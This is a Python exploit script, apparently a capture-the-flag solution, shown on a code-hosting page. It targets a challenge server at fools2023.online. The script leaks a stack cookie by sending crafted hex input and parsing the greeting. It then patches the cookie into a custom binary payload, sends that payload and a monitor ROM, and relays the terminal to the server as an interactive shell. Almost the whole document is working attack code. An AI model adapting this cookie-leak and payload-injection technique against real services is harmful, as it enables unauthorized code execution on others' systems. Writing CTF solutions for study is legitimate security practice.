You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

53 lines
1.3 KiB

2 years ago
#!/usr/bin/env python3
from sys import stdin, stdout
from binascii import unhexlify
import socket
import select
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("fools2023.online", 13339))
# Sniff out the stack cookie
s.send(unhexlify("f14ff7f150f7f151f7f152f70a"))
intro = bytearray()
s.settimeout(0.1)
while True:
try:
intro += s.recv(1024)
except socket.timeout:
break
s.settimeout(None)
intro = intro.decode()
index = intro.find("Welcome, ") + len("Welcome, ")
cookie = unhexlify(intro[index:index+8])
# Patch the stack cookie into the payload
code = bytearray(open("../prog/custom/pwninfsrv.prg", "rb").read())
offs = len(code) - 0x100
code[offs+0] = cookie[0]
code[offs+1] = cookie[1]
code[offs+2] = cookie[2]
code[offs+3] = cookie[3]
# Send the payload
s.send(b"\n")
s.send(code)
s.send(b"\n")
# Send the monitor rom
monitor = open("../prog/MONITOR.PRG", "rb").read()
s.send(monitor[0x1000:])
# Passthrough input
p = select.poll()
p.register(stdin.buffer, select.POLLIN | select.POLLPRI)
p.register(s, select.POLLIN | select.POLLPRI)
while True:
for fd, ev in p.poll():
if fd == stdin.buffer.fileno():
s.send(stdin.buffer.read(1))
if fd == s.fileno():
stdout.buffer.write(s.recv(1))
stdout.buffer.flush()